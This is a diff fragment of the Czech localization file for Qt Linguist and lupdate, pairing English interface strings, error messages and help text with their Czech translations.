    +        Cannot open %1: %2
    +        Nelze otevřít %1: %2
    +    
    +    
    +        Unterminated Java comment.
    +
    +        Neskončená poznámka Java.
    +
    +    
    +    
    +        Invalid Unicode value.
    +
    +        Neplatná hodnota Unicode.
    +
    +    
    +    
    +        Unterminated string.
    +
    +        Neskončený řetězec.
    +
    +    
    +    
    +        String used in translation can contain only literals concatenated with other literals, not expressions or numbers.
    +
    +        Řetězec používaný v překladu může obsahovat pouze písmenka zřetězená jinými písmeny, nikoli výrazy nebo čísla.
    +
    +    
    +    
    +        'class' must be followed by a class name.
    +
    +        'class' musí být následována názvem třídy.
    +
    +    
    +    
    +        Excess closing brace.
    +
    +        Příliš mnoho zavírajících složených závorek.
    +
    +    
    +    
    +        'package' must be followed by package name.
    +
    +        'package' musí být následován názvem balíčku.
    +
    +    
    +    
    +        Unbalanced opening brace.
    +
    +        Nevyvážené otevírající složené závorky.
    +
    +    
    +    
    +        Unbalanced opening parenthesis.
    +
    +        Nevyvážené otevírající závorky.
    +
    +    
    +    
    +        Usage:
    +    lupdate [options] [project-file]...
    +    lupdate [options] [source-file|path|@lst-file]... -ts ts-files|@lst-file
    +
    +lupdate is part of Qt's Linguist tool chain. It extracts translatable
    +messages from Qt UI files, C++, Java and JavaScript/QtScript source code.
    +Extracted messages are stored in textual translation source files (typically
    +Qt TS XML). New and modified messages can be merged into existing TS files.
    +
    +Options:
    +    -help  Display this information and exit.
    +    -no-obsolete
    +           Drop all obsolete strings.
    +    -extensions <ext>[,<ext>]...
    +           Process files with the given extensions only.
    +           The extension list must be separated with commas, not with whitespace.
    +           Default: '%1'.
    +    -pluralonly
    +           Only include plural form messages.
    +    -silent
    +           Do not explain what is being done.
    +    -no-sort
    +           Do not sort contexts in TS files.
    +    -no-recursive
    +           Do not recursively scan the following directories.
    +    -recursive
    +           Recursively scan the following directories (default).
    +    -I <includepath> or -I<includepath>
    +           Additional location to look for include files.
    +           May be specified multiple times.
    +    -locations {absolute|relative|none}
    +           Specify/override how source code references are saved in TS files.
    +           Default is absolute.
    +    -no-ui-lines
    +           Do not record line numbers in references to UI files.
    +    -disable-heuristic {sametext|similartext|number}
    +           Disable the named merge heuristic. Can be specified multiple times.
    +    -pro <filename>
    +           Name of a .pro file. Useful for files with .pro file syntax but
    +           different file suffix. Projects are recursed into and merged.
    +    -source-language <language>[_<region>]
    +           Specify the language of the source strings for new files.
    +           Defaults to POSIX if not specified.
    +    -target-language <language>[_<region>]
    +           Specify the language of the translations for new files.
    +           Guessed from the file name if not specified.
    +    -ts <ts-file>...
    +           Specify the output file(s). This will override the TRANSLATIONS
    +           and nullify the CODECFORTR from possibly specified project files.
    +    -codecfortr <codec>
    +           Specify the codec assumed for tr() calls. Effective only with -ts.
    +    -version
    +           Display the version of lupdate and exit.
    +    @lst-file
    +           Read additional file names (one per line) from lst-file.
    +
    +        Použití:
    +    lupdate [volby] [projektový-soubor]...
    +    lupdate [volby] [zdrojový-soubor|cesta|@lst-soubor]... -ts ts-soubory|@lst-soubor
    +
    +lupdate je částí řetězce nástrojů pro Qt Linguist. Vytahuje překládatelné zprávy
    +ze souborů pro uživatelské rozhraní (UI) Qt UI, C++, Java a JavaScript/QtScript zdrojového kódu.
    +Vytažené zprávy jsou ukládány do textových překladových zdrojových souborů (typicky
    +Qt TS XML). Nové a změněné zprávy lze sloučit se stávajícími soubory TS.
    +
    +Volby:
    +    -help  Display this information and exit.
    +    -no-obsolete
    +           Drop all obsolete strings.
    +    -extensions <ext>[,<ext>]...
    +           Process files with the given extensions only.
    +           The extension list must be separated with commas, not with whitespace.
    +           Default: '%1'.
    +    -pluralonly
    +           Only include plural form messages.
    +    -silent
    +           Do not explain what is being done.
    +    -no-sort
    +           Do not sort contexts in TS files.
    +    -no-recursive
    +           Do not recursively scan the following directories.
    +    -recursive
    +           Recursively scan the following directories (default).
    +    -I <includepath> or -I<includepath>
    +           Additional location to look for include files.
    +           May be specified multiple times.
    +    -locations {absolute|relative|none}
    +           Specify/override how source code references are saved in TS files.
    +           Default is absolute.
    +    -no-ui-lines
    +           Do not record line numbers in references to UI files.
    +    -disable-heuristic {sametext|similartext|number}
    +           Disable the named merge heuristic. Can be specified multiple times.
    +    -pro <filename>
    +           Name of a .pro file. Useful for files with .pro file syntax but
    +           different file suffix. Projects are recursed into and merged.
    +    -source-language <language>[_<region>]
    +           Specify the language of the source strings for new files.
    +           Defaults to POSIX if not specified.
    +    -target-language <language>[_<region>]
    +           Specify the language of the translations for new files.
    +           Guessed from the file name if not specified.
    +    -ts <ts-file>...
    +           Specify the output file(s). This will override the TRANSLATIONS
    +           and nullify the CODECFORTR from possibly specified project files.
    +    -codecfortr <codec>
    +           Specify the codec assumed for tr() calls. Effective only with -ts.
    +    -version
    +           Display the version of lupdate and exit.
    +    @lst-file
    +           Read additional file names (one per line) from lst-file.
    +
    +    
    +    
    +        lupdate warning: Codec for tr() '%1' disagrees with existing file's codec '%2'. Expect trouble.
    +
    +        Varování lupdate: Kodek pro tr() '%1' nesouhlasí se stávajícím kodekem souboru '%2'. Dají se očekávat potíže.
    +
    +    
    +    
    +        lupdate warning: Specified target language '%1' disagrees with existing file's language '%2'. Ignoring.
    +
    +        Varování lupdate: Zadaný cílový jazyk '%1' nesouhlasí se stávajícím jazykem souboru '%2'. Přehlíží se.
    +
    +    
    +    
    +        lupdate warning: Specified source language '%1' disagrees with existing file's language '%2'. Ignoring.
    +
    +        Varování lupdate: Zadaný zdrojový jazyk '%1' nesouhlasí se stávajícím jazykem souboru '%2'. Přehlíží se.
    +
    +    
    +    
    +        Updating '%1'...
    +
    +        Obnovuje se '%1'...
    +
    +    
    +    
    +        Stripping non plural forms in '%1'...
    +
    +        Odkrývají se tvary, které nejsou množným číslem v '%1'...
    +
    +    
    +    
    +        lupdate warning: Codec for source '%1' is invalid. Falling back to codec for tr().
    +
    +        Varování lupdate: Kodek pro zdroj '%1' je neplatný. Ustupuje se ke kodeku pro tr().
    +
    +    
    +    
    +        lupdate warning: TS files from command line will override TRANSLATIONS in %1.
    +
    +        Varování lupdate: Soubory TS z příkazového řádku dostanou přednost před PŘEKLADY v %1.
    +
    +    
    +    
    +        lupdate warning: TS files from command line prevent recursing into %1.
    +
    +        Varování lupdate: Soubory TS z příkazového řádku zabrání uchýlení se k %1.
    +
    +    
    +    
    +        lupdate warning: no TS files specified. Only diagnostics will be produced for '%1'.
    +
    +        Varování lupdate: Nezadány žádné soubory TS. Pro '%1' bude vytvořena pouze diagnostika.
    +
    +    
    +    
    +        The option -target-language requires a parameter.
    +
    +        Volba -target-language vyžaduje parametr.
    +
    +    
    +    
    +        The option -source-language requires a parameter.
    +
    +        Volba -source-language vyžaduje parametr.
    +
    +    
    +    
    +        The option -disable-heuristic requires a parameter.
    +
    +        Volba -disable-heuristic vyžaduje parametr.
    +
    +    
    +    
    +        Invalid heuristic name passed to -disable-heuristic.
    +
    +        Volbě -disable-heuristic podán neplatný heuristický název.
    +
    +    
    +    
    +        The option -locations requires a parameter.
    +
    +        Volba -locations vyžaduje parametr.
    +
    +    
    +    
    +        Invalid parameter passed to -locations.
    +
    +        Volbě -locations podán neplatný parametr.
    +
    +    
    +    
    +        The -codecfortr option should be followed by a codec name.
    +
    +        Volba -codecfortr by měla být následována názvem kodeku.
    +
    +    
    +    
    +        The -extensions option should be followed by an extension list.
    +
    +        Volba -extensions by měla být následována seznamem přípon.
    +
    +    
    +    
    +        The -pro option should be followed by a filename of .pro file.
    +
    +        Volba -pro by měla být následována souborovým názvem souboru .pro.
    +
    +    
    +    
    +        The -I option should be followed by a path.
    +
    +        Volba -l by měla být následována cestou.
    +
    +    
    +    
    +        Unrecognized option '%1'.
    +
    +        Nerozpoznaná volba '%1'.
    +
    +    
    +    
    +        lupdate error: List file '%1' is not readable.
    +
    +        Chyba při lupdate: Soubor seznamu '%1' není čitelný.
    +
    +    
    +    
    +        lupdate warning: For some reason, '%1' is not writable.
    +
    +        Varování lupdate: Z nějakého důvodu není '%1' zapisovatelný.
    +
    +    
    +    
    +        lupdate error: File '%1' has no recognized extension.
    +
    +        Chyba při lupdate: Soubor '%1' nemá žádnou rozpoznanou příponu.
    +
    +    
    +    
    +        lupdate error: File '%1' does not exist.
    +
    +        Chyba při lupdate: Soubor '%1' není.
    +
    +    
    +    
    +        Scanning directory '%1'...
    +
    +        Prohledává se adresář '%1'...
    +
    +    
    +    
    +        lupdate warning: -target-language usually only makes sense with exactly one TS file.
    +
    +        Varování lupdate: Volba -target-language obvykle dává smysl jen s přesně jedním souborem TS.
    +
    +    
    +    
    +        lupdate warning: -codecfortr has no effect without -ts.
    +
    +        Varování lupdate: Volba -codecfortr nemá bez -ts žádný účinek.
    +
    +    
    +    
    +        lupdate warning: no TS files specified. Only diagnostics will be produced.
    +
    +        Varování lupdate: Nezadán žádný soubor TS. Bude vytvořena pouze diagnostika.
    +
    +    
    +    
    +        lupdate error: Both project and source files / include paths specified.
    +
    +        Chyba při lupdate: Zadány jak projektový tak zdrojový soubor/zahrnout cesty.
    +
    +    
    +    
    +            Found %n source text(s) (%1 new and %2 already existing)
    +
    +        
    +                Nalezen jeden zdrojový text (%1 nový a %2 již existující)
    +
    +                Nalezeny %n zdrojové texty (%1 nové a %2 již existující)
    +
    +                Nalezeno %n zdrojových textů (%1 nových a %2 již existujících)
    +
    +        
    +    
    +    
    +            Removed %n obsolete entries
    +
    +        
    +                Odstraněn jeden zastaralý záznam
    +
    +                Odstraněny %n zastaralé záznamy
    +
    +                Odstraněno %n zastaralých záznamů
    +
    +        
    +    
    +    
    +            Kept %n obsolete entries
    +
    +        
    +                Zachován jeden zastaralý záznam
    +
    +                Zachovány %n zastaralé záznamy
    +                Zachováno %n zastaralých záznamů
    +        
    +    
    +    
    +            Number heuristic provided %n translation(s)
    +
    +        
    +                Číselná heuristika poskytla jeden překlad
    +
    +                Číselná heuristika poskytla %n překlady
    +
    +                Číselná heuristika poskytla %n překladů
    +
    +        
    +    
    +    
    +            Same-text heuristic provided %n translation(s)
    +
    +        
    +                Heuristika se shodnými texty poskytla jeden překlad
    +                Heuristika se shodnými texty poskytla %n překlady
    +                Heuristika se shodnými texty poskytla %n překladů
    +        
    +    
    +    
    +            Similar-text heuristic provided %n translation(s)
    +
    +        
    +                Heuristika s podobnými texty poskytla jeden překlad
    +                Heuristika s podobnými texty poskytla %n překlady
    +                Heuristika s podobnými texty poskytla %n překladů
    +        
    +    
    +    
    +        Illegal character
    +        Neplatný znak
    +    
    +    
    +        Unclosed string at end of line
    +        Neuzavřený řetězec na konci řádku
    +    
    +    
    +        Illegal escape squence
    +        Neplatná úniková posloupnost
    +    
    +    
    +        Illegal unicode escape sequence
    +        Neplatná úniková posloupnost unicode
    +    
    +    
    +        Unclosed comment at end of file
    +        Neuzavřená poznámka na konci souboru
    +    
    +    
    +        Illegal syntax for exponential number
    +        Neplatná skladba exponenciálního čísla
    +    
    +    
    +        Identifier cannot start with numeric literal
    +        Identifikátor nemůže začínat s číselným písmenem
    +    
    +    
    +        Unterminated regular expression literal
    +        Neskončený regulární výraz
    +    
    +    
    +        //% cannot be used with %1(). Ignoring
    +
    +        //% nelze použít s %1(). Přehlíží se
    +
    +    
    +    
    +        %1() requires at least two arguments.
    +
    +        %1() vyžaduje alespoň dva argumenty.
    +
    +    
    +    
    +        %1(): both arguments must be literal strings.
    +
    +        %1(): oba argumenty musí být písmennými řetězci.
    +
    +    
    +    
    +        %1() requires at least one argument.
    +
    +        %1() vyžaduje alespoň jeden argument.
    +
    +    
    +    
    +        %1(): text to translate must be a literal string.
    +
    +        %1(): text k překladu musí být písmenný řetězec.
    +
    +    
    +    
    +        //= cannot be used with %1(). Ignoring
    +
    +        //= nelze použít s %1(). Přehlíží se
    +
    +    
    +    
    +        %1(): identifier must be a literal string.
    +
    +        %1(): identifikátor musí být písmenný řetězec.
    +
    +    
    +    
    +        Expected 
    +        Beginning of the string that contains comma-separated list of expected tokens
    +        Očekáváno 
    +    
    +    
    +        XML error: Parse error at line %1, column %2 (%3).
    +        Chyba v XML: Chyba při zpracování na řádku %1, ve sloupci %2 (%3).
    +    
    +    
    +        Parse error in UI file
    +        Chyba při zpracování v souboru UI
    +    
     
     
         MainWindow
         
    -        
             MainWindow
             Hlavní okno
         
         
    -        
             &Phrases
             &Slovníky
         
         
    -        
             &Close Phrase Book
             &Zavřít slovník
         
         
    -        
             &Edit Phrase Book
             &Upravit slovník
         
         
    -        
             &Print Phrase Book
             &Vytisknout slovník
         
         
    -        
             V&alidation
             &Schválení
         
         
    -        
             &View
             &Pohled
         
         
    -        
             Vie&ws
             Po&hledy
         
         
    -        
             &Toolbars
             &Nástrojové lišty
         
         
    -        
             &Help
             &Nápověda
         
         
    -        
             &Translation
             &Překlad
         
         
    -        
             &File
             &Soubor
         
         
    -        
             &Edit
             Ú&pravy
         
         
    -        
             &Open...
             &Otevřít...
         
         
    -        
             Open a Qt translation source file (TS file) for editing
             Otevřít Qt zdrojový soubor s překladem (soubor TS) pro úpravy
         
         
    -        
             Ctrl+O
             Ctrl+O
         
         
    -        
             E&xit
             &Ukončit
         
         
    -        
             Close this window and exit.
             Toto okno zavřít a ukončit.
         
         
    -        
             Ctrl+Q
             Ctrl+Q
         
         
    -        
    -        
             &Save
             &Uložit
         
         
    -        
             Save changes made to this Qt translation source file
             Uložit změny provedené v tomto Qt zdrojovém souboru s překladem
         
         
    -        
             Move to the previous unfinished item.
             Jít na předchozí nevyřízený záznam.
         
         
    -        
             Move to the next unfinished item.
             Jít na další nevyřízený záznam.
         
         
    -        
             Move to the previous item.
             Jít na předchozí záznam.
         
         
    -        
             Move to the next item.
             Jít na další záznam.
         
         
    -        
             Mark this item as done and move to the next unfinished item.
             Označit tento záznam jako hotový a jít na další nevyřízený záznam.
         
         
    -        
             Copy from source text
             Převzít zdrojový text
         
         
    -        
             Toggle the validity check of accelerators, i.e. whether the number of ampersands in the source and translation text is the same. If the check fails, a message is shown in the warnings window.
             Zapnout/Vypnout ověření akcelerátorů, to znamená, zda se shoduje počet znaků obchodnického -A (&) ve zdrojovém textu a v textu překladu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.
         
         
    -        
             Toggle the validity check of ending punctuation. If the check fails, a message is shown in the warnings window.
             Zapnout/Vypnout ověření znaku na konci věty na konci textu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.
         
         
    -        
             Toggle checking that phrase suggestions are used. If the check fails, a message is shown in the warnings window.
             Zapnout/Vypnout ověření použití návrhů slovníku. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.
         
         
    -        
             Toggle the validity check of place markers, i.e. whether %1, %2, ... are used consistently in the source text and translation text. If the check fails, a message is shown in the warnings window.
             Zapnout/Vypnout ověření držitelů místa, to znamená, zda se shoduje používání %1, %2,... ve zdrojovém textu a v textu překladu. V případě neúspěchu se v okně s upozorněními ukáže zpráva s varováním.
         
         
    -        
             Open Read-O&nly...
             Otevřít pouze &pro čtení...
         
         
    -        
             &Save All
             &Uložit vše
         
         
    -        
             Ctrl+S
             Ctrl+S
         
         
    -        
    -        
    -        
             Save &As...
             Uložit &jako...
         
         
    -        
             Save As...
             Uložit jako...
         
         
    -        
             Save changes made to this Qt translation source file into a new file.
             Uložit změny provedené v tomto Qt zdrojovém souboru s překladem do nového souboru.
         
         
    -        
             &Release
             &Vydat
         
         
    -        
             Create a Qt message file suitable for released applications from the current message file.
             Vytvořit Qt soubor se zprávami vhodný pro vydané aplikace (soubor QM) ze současného souboru s překladem.
         
         
    -        
             &Print...
             &Tisk...
         
         
    -        
             Ctrl+P
             Ctrl+P
         
         
    -        
             &Undo
             &Zpět
         
         
    -        
             Recently Opened &Files
             Naposledy upravované sou&bory
         
         
    -        
             Save
             Uložit
         
         
    -        
             Print a list of all the translation units in the current translation source file.
             Vytisknout seznam se všemi překladovými jednotkami v současném zdrojovém souboru s překladem.
         
         
    -        
             Undo the last editing operation performed on the current translation.
             Poslední změnu provedenou v současném překladu vrátit zpět.
         
         
    -        
             Ctrl+Z
             Ctrl+Z
         
         
    -        
             &Redo
             &Znovu
         
         
    -        
             Redo an undone editing operation performed on the translation.
             Poslední zpět vrácenou změnu v překladu provést znovu.
         
         
    -        
             Ctrl+Y
             Ctrl+Y
         
         
    -        
             Cu&t
             &Vyjmout
         
         
    -        
             Copy the selected translation text to the clipboard and deletes it.
             Zkopírovat vybraný text s překladem do schránky a smazat jej.
         
         
    -        
             Ctrl+X
             Ctrl+X
         
         
    -        
             &Copy
             &Kopírovat
         
         
    -        
             Copy the selected translation text to the clipboard.
             Zkopírovat vybraný text s překladem do schránky.
         
         
    -        
             Ctrl+C
             Ctrl+C
         
         
    -        
             &Paste
             &Vložit
         
         
    -        
             Paste the clipboard text into the translation.
             Vložit text ze schránky do překladu.
         
         
    -        
             Ctrl+V
             Ctrl+V
         
         
    -        
             Select &All
             Vybrat &vše
         
         
    -        
             Select the whole translation text.
             Vybrat celý text s překladem.
         
         
    -        
             Ctrl+A
             Ctrl+A
         
         
    -        
             &Find...
             &Hledat...
         
         
    -        
             Search for some text in the translation source file.
             Hledat text v souboru s překladem.
         
         
    -        
             Ctrl+F
             Ctrl+F
         
         
    -        
             Find &Next
             Hledat &dál
         
         
    -        
             Continue the search where it was left.
             Pokračovat v hledání.
         
         
    -        
             F3
             F3
         
         
    -        
             &Prev Unfinished
             &Předchozí nevyřízený
         
         
    -        
             Close
             Zavřít
         
         
    -        
             &Close All
             &Zavřít vše
         
         
    -        
             Ctrl+W
             Ctrl+W
         
         
    -        
             Ctrl+K
             Ctrl+K
         
         
    -        
             &Next Unfinished
             &Další nevyřízený
         
         
    -        
             P&rev
             Před&chozí
         
         
    -        
             Ctrl+Shift+K
             Ctrl+Shift+K
         
         
    -        
             Ne&xt
             Da&lší
         
         
    -        
             &Done and Next
             &Hotovo a další
         
         
    -        
             Copies the source text into the translation field.
             Kopíruje zdrojový text do pole s překladem.
         
         
    -        
             Ctrl+B
             Ctrl+B
         
         
    -        
             &Accelerators
             &Akcelerátory
         
         
    -        
             &Ending Punctuation
             &Interpunkce na konci
         
         
    -        
             &Phrase matches
             &Slovník
         
         
    -        
             Place &Marker Matches
             Držitel &místa
         
         
    -        
             &New Phrase Book...
             &Nový slovník...
         
         
    -        
             Create a new phrase book.
             Vytvořit nový slovník.
         
         
    -        
             Ctrl+N
             Ctrl+N
         
         
    -        
             &Open Phrase Book...
             &Otevřít slovník...
         
         
    -        
             Open a phrase book to assist translation.
             Otevřít slovník kvůli podpoře při překladu.
         
         
    -        
             Ctrl+H
             Ctrl+H
         
         
    -        
             &Reset Sorting
             Řazení &vrátit zpět
         
         
    -        
             Sort the items back in the same order as in the message file.
             Seřadit záznamy ve stejném pořadí jako v původním souboru s překladem.
         
         
    -        
             &Display guesses
             Ukázat &návrhy
         
         
    -        
             Set whether or not to display translation guesses.
             Zapnout/Vypnout zobrazení návrhů k překladu.
         
         
    -        
             &Statistics
             S&tatistika
         
         
    -        
             Display translation statistics.
             Ukázat statistiku k překladu.
         
         
    -        
             &Manual
             &Příručka
         
         
    -        
             F1
             F1
         
         
    -        
             About Qt Linguist
             O Qt Linguistu
         
         
    -        
             About Qt
             O Qt
         
         
    -        
             Display information about the Qt toolkit by Trolltech.
    -        Zobrazit informace o sadě nástrojů Qt od Trolltechu.
    +        Zobrazit informace o sadě nástrojů Qt od Trolltechu.
         
         
    -        
             &What's This?
             &Copak je asi toto?
         
         
    -        
             What's This?
             Copak je asi toto?
         
         
    -        
             Enter What's This? mode.
             Zapnout režim "Copak je asi toto?".
         
         
    -        
             Shift+F1
             Shift+F1
         
         
    -        
             &Search And Translate...
             Hledat a &překládat...
         
         
    -        
             Replace the translation on all entries that matches the search source text.
             Nahradit překlad u všech záznamů, které odpovídají hledanému textu.
         
         
    -        
    -        
             &Batch Translation...
             &Automatický překlad...
         
         
    -        
             Batch translate all entries using the information in the phrase books.
             Automaticky přeložit všechny záznamy s pomocí slovníků.
         
         
    -        
    -        
    -        
             Release As...
             Vydat jako...
         
         
    -        
             
             This is the application's main window.
             
         
         
    -        
             Source text
             Zdrojový text
         
         
    -        
    -        
             Index
             Rejstřík
         
         
    -        
    -        
             Context
             Souvislosti
         
         
    -        
             Items
             Záznamy
         
         
    -        
             This panel lists the source contexts.
             V tomto panelu jsou ukazovány souvislosti.
         
         
    -        
             Strings
             Řetězce
         
         
    -        
             Phrases and guesses
             Slovník a návrhy
         
         
    -        
             Sources and Forms
             Zdrojové soubory a formuláře
         
         
    -        
             Warnings
             Upozornění
         
         
    -        
              MOD 
             status bar: file(s) modified
             Změněno
         
         
    -        
             Loading...
             Nahrává se...
         
         
    -        
    -        
             Loading File - Qt Linguist
             Nahrává se soubor - Qt Linguist
         
         
    -        
             The file '%1' does not seem to be related to the currently open file(s) '%2'.
     
     Close the open file(s) first?
    @@ -994,7 +1747,6 @@ Close the open file(s) first?
     Zavřít nejprve již otevřený soubor(y)?
         
         
    -        
             The file '%1' does not seem to be related to the file '%2' which is being loaded as well.
     
     Skip loading the first named file?
    @@ -1003,7 +1755,6 @@ Skip loading the first named file?
     Přeskočit nahrávání prve jmenovaného souboru?
         
         
    -        
             %n translation unit(s) loaded.
             
                 Nahrána jedna překladová jednotka.
    @@ -1012,124 +1763,84 @@ Přeskočit nahrávání prve jmenovaného souboru?
             
         
         
    -        
             Related files (%1);;
             Příbuzné soubory (%1);;
         
         
    -        
             Open Translation Files
             Otevřít soubory s překlady
         
         
    -        
    -        
             File saved.
             Soubor uložen.
         
         
    -        
    -        
    -        
             Release
             Vydat
         
         
    -        
             Qt message files for released applications (*.qm)
     All files (*)
             Qt soubory se zprávami pro vydané aplikace (*.qm)
     Všechny soubory (*)
         
         
    -        
    -        
             File created.
             Soubor vytvořen.
         
         
    -        
    -        
             Printing...
             Tisk...
         
         
    -        
             Context: %1
             Souvislosti: %1
         
         
    -        
             finished
             vyřízeno
         
         
    -        
             unresolved
             nevyřešeno
         
         
    -        
             obsolete
             zastaralé
         
         
    -        
    -        
             Printing... (page %1)
             Tisk... (strana %1)
         
         
    -        
    -        
             Printing completed
             Tisk dokončen
         
         
    -        
    -        
             Printing aborted
             Tisk zrušen
         
         
    -        
             Search wrapped.
             Hledání začíná odshora.
         
         
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
    -        
             Qt Linguist
             Qt Linguist
         
         
    -        
    -        
             Cannot find the string '%1'.
             Nelze najít řetězec '%1'.
         
         
    -        
             Search And Translate in '%1' - Qt Linguist
             Hledat a překládat v '%1' - Qt Linguist
         
         
    -        
    -        
    -        
             Translate - Qt Linguist
             Překlad - Qt Linguist
         
         
    -        
             Translated %n entry(s)
             
                 Přeložen jeden záznam
    @@ -1138,39 +1849,32 @@ Všechny soubory (*)
             
         
         
    -        
             No more occurrences of '%1'. Start over?
             Žádné další výskyty '%1'. Začít znovu?
         
         
    -        
             Create New Phrase Book
             Vytvořit nový slovník
         
         
    -        
             Qt phrase books (*.qph)
     All files (*)
             Slovníky Qt (*.qph)
     Všechny soubory (*)
         
         
    -        
             Phrase book created.
             Slovník vytvořen.
         
         
    -        
             Open Phrase Book
             Otevřít slovník
         
         
    -        
             Qt phrase books (*.qph);;All files (*)
             Slovníky Qt (*.qph);;Všechny soubory (*)
         
         
    -        
             %n phrase(s) loaded.
             
                 Nahrán jeden záznam ve slovníku.
    @@ -1179,427 +1883,342 @@ Všechny soubory (*)
             
         
         
    -        
    -        
    -        
             Add to phrase book
             Přidat do slovníku
         
         
    -        
             No appropriate phrasebook found.
             Nelze nalézt žádný příslušný slovník.
         
         
    -        
             Adding entry to phrasebook %1
             Přidává se záznam do slovníku %1
         
         
    -        
             Select phrase book to add to
             Do kterého slovníku se má záznam přidat
         
         
    -        
             Unable to launch Qt Assistant (%1)
             Qt Assistant nelze spustit (%1)
         
         
    -        
             Version %1
             Verze %1
         
         
    -        
    +        <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist is a tool for adding translations to Qt applications.</p><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
    +        <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist je nástrojem pro přidávání překladů do programů Qt.</p><p>Copyright (C) 2010 Nokia Corporation a/nebo její dceřinná společnost(i).
    +    
    +    
             <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist is a tool for adding translations to Qt applications.</p><p>Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies).
    -        <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist je nástrojem pro přidávání překladů do aplikací Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).
    +        <center><img src=":/images/splash.png"/></img><p>%1</p></center><p>Qt Linguist je nástrojem pro přidávání překladů do aplikací Qt.</p><p>Copyright (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).
         
         
    -        
             Do you want to save the modified files?
             Chcete uložit změněné soubory?
         
         
    -        
             Do you want to save '%1'?
             Chcete uložit '%1'?
         
         
    -        
             Qt Linguist[*]
             Qt Linguist[*]
         
         
    -        
             %1[*] - Qt Linguist
             %1[*] - Qt Linguist
         
         
    -        
    -        
             No untranslated translation units left.
             Nezbyly žádné nepřeložené překladové jednotky.
         
         
    -        
             &Window
             &Okno
         
         
    -        
             Minimize
             Zmenšit
         
         
    -        
             Ctrl+M
             Ctrl+M
         
         
    -        
             Display the manual for %1.
             Zobrazit příručku k %1.
         
         
    -        
             Display information about %1.
             Zobrazit údaje o %1.
         
         
    -        
             &Save '%1'
             &Uložit '%1'
         
         
    -        
             Save '%1' &As...
             '%1' uložit &jako...
         
         
    -        
             Release '%1'
             Vydat '%1'
         
         
    -        
             Release '%1' As...
             '%1' vydat jako...
         
         
    -        
             &Close '%1'
             &Zavřít '%1'
         
         
    -        
    -        
             &Close
             &Zavřít
         
         
    -        
             Save All
             Uložit vše
         
         
    -        
    -        
             &Release All
             &Vydat vše
         
         
    -        
             Close All
             Zavřít vše
         
         
    -        
             Translation File &Settings for '%1'...
             Nastavení &souboru s překladem pro '%1' ...
         
         
    -        
             &Batch Translation of '%1'...
             &Automatický překlad '%1' ...
         
         
    -        
             Search And &Translate in '%1'...
             Hledat a &překládat v '%1' ...
         
         
    -        
             Search And &Translate...
             Hledat a &překládat...
         
         
    -        
    -        
             File
             Soubor
         
         
    -        
    -        
             Edit
             Úpravy
         
         
    -        
    -        
             Translation
             Překlad
         
         
    -        
    -        
             Validation
             Schválení
         
         
    -        
    -        
             Help
             Nápověda
         
         
    -        
             Cannot read from phrase book '%1'.
             Nelze číst ze slovníku '%1'.
         
         
    -        
             Close this phrase book.
             Tento slovník zavřít.
         
         
    -        
             Enables you to add, modify, or delete entries in this phrase book.
             Umožní vložit, měnit nebo odstranit záznamy z tohoto slovníku.
         
         
    -        
             Print the entries in this phrase book.
             Vytisknout záznamy z tohoto slovníku.
         
         
    -        
             Cannot create phrase book '%1'.
             Nelze vytvořit slovník '%1'.
         
         
    -        
             Do you want to save phrase book '%1'?
             Chcete uložit slovník '%1'?
         
         
    -        
             All
             Vše
         
         
    -        
             Open/Refresh Form &Preview
             Otevřít/Obnovit &náhled na formulář
         
         
    -        
             Form Preview Tool
             Nástroj pro náhled na formulář
         
         
    -        
             F5
             F5
         
         
    -        
    -        
             Translation File &Settings...
             &Nastavení souboru s překladem...
         
         
    -        
             &Add to Phrase Book
             &Přidat do slovníku
         
         
    -        
             Ctrl+T
             Ctrl+T
         
         
    -        
             Ctrl+J
             Ctrl+J
         
         
    -        
             Ctrl+Shift+J
             Ctrl+Shift+J
         
         
    -        
             Previous unfinished item
             Předchozí nevyřízený záznam
         
         
    -        
             Next unfinished item
             Další nevyřízený záznam
         
         
    -        
             Move to previous item
             Jít na předchozí záznam
         
         
    -        
             Next item
             Další záznam
         
         
    -        
             Mark item as done and move to the next unfinished item
             Označit záznam jako vyřízený a jít na další nevyřízený záznam
         
         
    -        
             Copies the source text into the translation field
             Kopíruje zdrojový text do pole s překladem
         
         
    -        
             Toggle the validity check of accelerators
             Zapnout/Vypnout ověření akcelerátorů
         
         
    -        
             Toggle the validity check of ending punctuation
             Zapnout/Vypnout ověření znaku na konci věty na konci textu
         
         
    -        
             Toggle checking that phrase suggestions are used
             Zapnout/Vypnout ověření použití záznamů ze slovníku
         
         
    -        
             Toggle the validity check of place markers
             Zapnout/Vypnout ověření držitelů místa
         
         
    -        
             Create a Qt message file suitable for released applications from the current message file. The filename will automatically be determined from the name of the TS file.
             Vytvořit z nynějšího překladového souboru soubor s hlášeními Qt vhodný pro vydané aplikace. Název souboru bude automaticky odvozen z názvu souboru TS.
         
         
    -        
             Length Variants
             Varianty délky
         
    +    
    +        Display information about the Qt toolkit by Nokia.
    +        Zobrazit informace o sadě nástrojů Qt od Nokie.
    +    
     
     
         MessageEditor
         
    -        
             
             This is the right panel of the main window.
             
         
         
    -        
             Russian
             Ruský
         
         
    -        
             German
             Německý
         
         
    -        
             Japanese
             Japonský
         
         
    -        
             French
             Francouzský
         
         
    -        
             Polish
             Polský
         
         
    -        
             Chinese
             Čínský
         
         
    -        
             This whole panel allows you to view and edit the translation of some source text.
             Celý tento panel umožňuje zobrazení a úpravy překladu zdrojového textu.
         
         
    -        
             Source text
             Zdrojový text
         
         
    -        
             This area shows the source text.
             Tato oblast ukazuje zdrojový text.
         
         
    -        
             Source text (Plural)
             Zdrojový text (Plural)
         
         
    -        
             This area shows the plural form of the source text.
             Tato oblast ukazuje množné číslo zdrojového textu.
         
         
    -        
             Developer comments
             Vývojářovy poznámky
         
         
    -        
             This area shows a comment that may guide you, and the context in which the text occurs.
